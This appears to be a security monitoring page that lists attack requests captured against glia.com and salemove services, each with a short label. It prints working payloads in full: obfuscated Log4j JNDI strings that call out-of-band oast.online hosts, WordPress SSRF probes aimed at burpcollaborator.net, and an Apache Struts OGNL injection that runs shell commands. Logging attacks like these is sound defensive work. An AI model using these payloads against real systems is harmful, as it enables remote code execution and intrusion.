Log4j attack via X-Forwarded-For:
"2022-02-05T09:59:15+00:00","173.212.242.87","76.191.227.app.gl ...
show moreLog4j attack via X-Forwarded-For:
"2022-02-05T09:59:15+00:00","173.212.242.87","76.191.227.app.glia.com","${jndi:rmi://c7rqghek0avfa181313gc89rwhora4w6w.oast.online}, 173.212.242.87"
"2022-02-05T09:59:15+00:00","173.212.242.87","76.188.118.app.glia.com","${${lower:jndi}: ${lower:rmi}://c7rqghek0avfa181313gc89rwhora4w6a.oast.online/poc}, 173.212.242.87"
"2022-02-05T09:59:14+00:00","173.212.242.87","76.188.118.app.glia.com","${${::-j}ndi:rmi://c7rqghek0avfa181313gc89rwhera4w4y.oast.online/ass}, 173.212.242.87"
"2022-02-05T09:59:14+00:00","173.212.242.87","76.191.227.app.glia.com","${${::-j}ndi:rmi://c7rqghek0avfa181313gc89rwhora4whn.oast.online/ass}, 173.212.242.87"
"2022-02-05T09:59:14+00:00","173.212.242.87","76.191.227.app.glia.com","${${::-j}${::-n}${::-d}${::-i}: ${::-r}${::-m}${::-i}://c7rqghek0avfa181313gc89rwhera4w31.oast.online/poc}, 173.212.242.87"
show less
Burpsuite Collaborator augmented attack from 20.107.216.9
GET /wp-admin/admin-post.php?swp_deb ...
show moreBurpsuite Collaborator augmented attack from 20.107.216.9
GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net HTTP/1.1
host: ingress.glia.com
x-b3-flags: 0
x-request-id: 362b2194c3c8c6c3b4bbce6d72e51f0a
x-real-ip: 20.107.216.9
x-forwarded-for: 20.107.216.9
x-forwarded-host: ingress.glia.com
show less
Apache Struts exploit attempt from 165.232.72.10
GET /index.action?redirect:${%23a%3d(new%20java ...
show moreApache Struts exploit attempt from 165.232.72.10
GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
host: test-app.default.svc.cluster.local
x-request-id: 3f8f8b9854e87f1f39dd27b0adc9603c
x-real-ip: 165.232.72.10
x-forwarded-for: 165.232.72.10
show less
Burpsuite Collaborator augmented attack from 27.34.23.46
GET /wp-admin/admin-post.php?swp_debug= ...
show moreBurpsuite Collaborator augmented attack from 27.34.23.46
GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net HTTP/1.1
host: engagement-router.default.svc.cluster.local
x-b3-flags: 0
x-request-id: 7f183e9c187ed28dad15cca2173f6b4f
x-real-ip: 27.34.23.46
x-forwarded-for: 27.34.23.46
x-forwarded-host: api.salemove.com
show less
GET /salemove_integration_dynamic.js?referrer=https%3A%2F%2Fweb.archive.org%2Fweb%2F20180805090003%2 ...
show moreGET /salemove_integration_dynamic.js?referrer=https%3A%2F%2Fweb.archive.org%2Fweb%2F20180805090003%2Fhttps%3A%2F%2Fgaz-tarif-reglemente.fr%2F&document_mode=undefined/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net HTTP/1.1
host: visitor-information.default.svc.cluster.local
x-b3-flags: 0
x-request-id: 03db4af0a5cd23370f4d8fe672a112b9
x-real-ip: 49.37.175.39
show less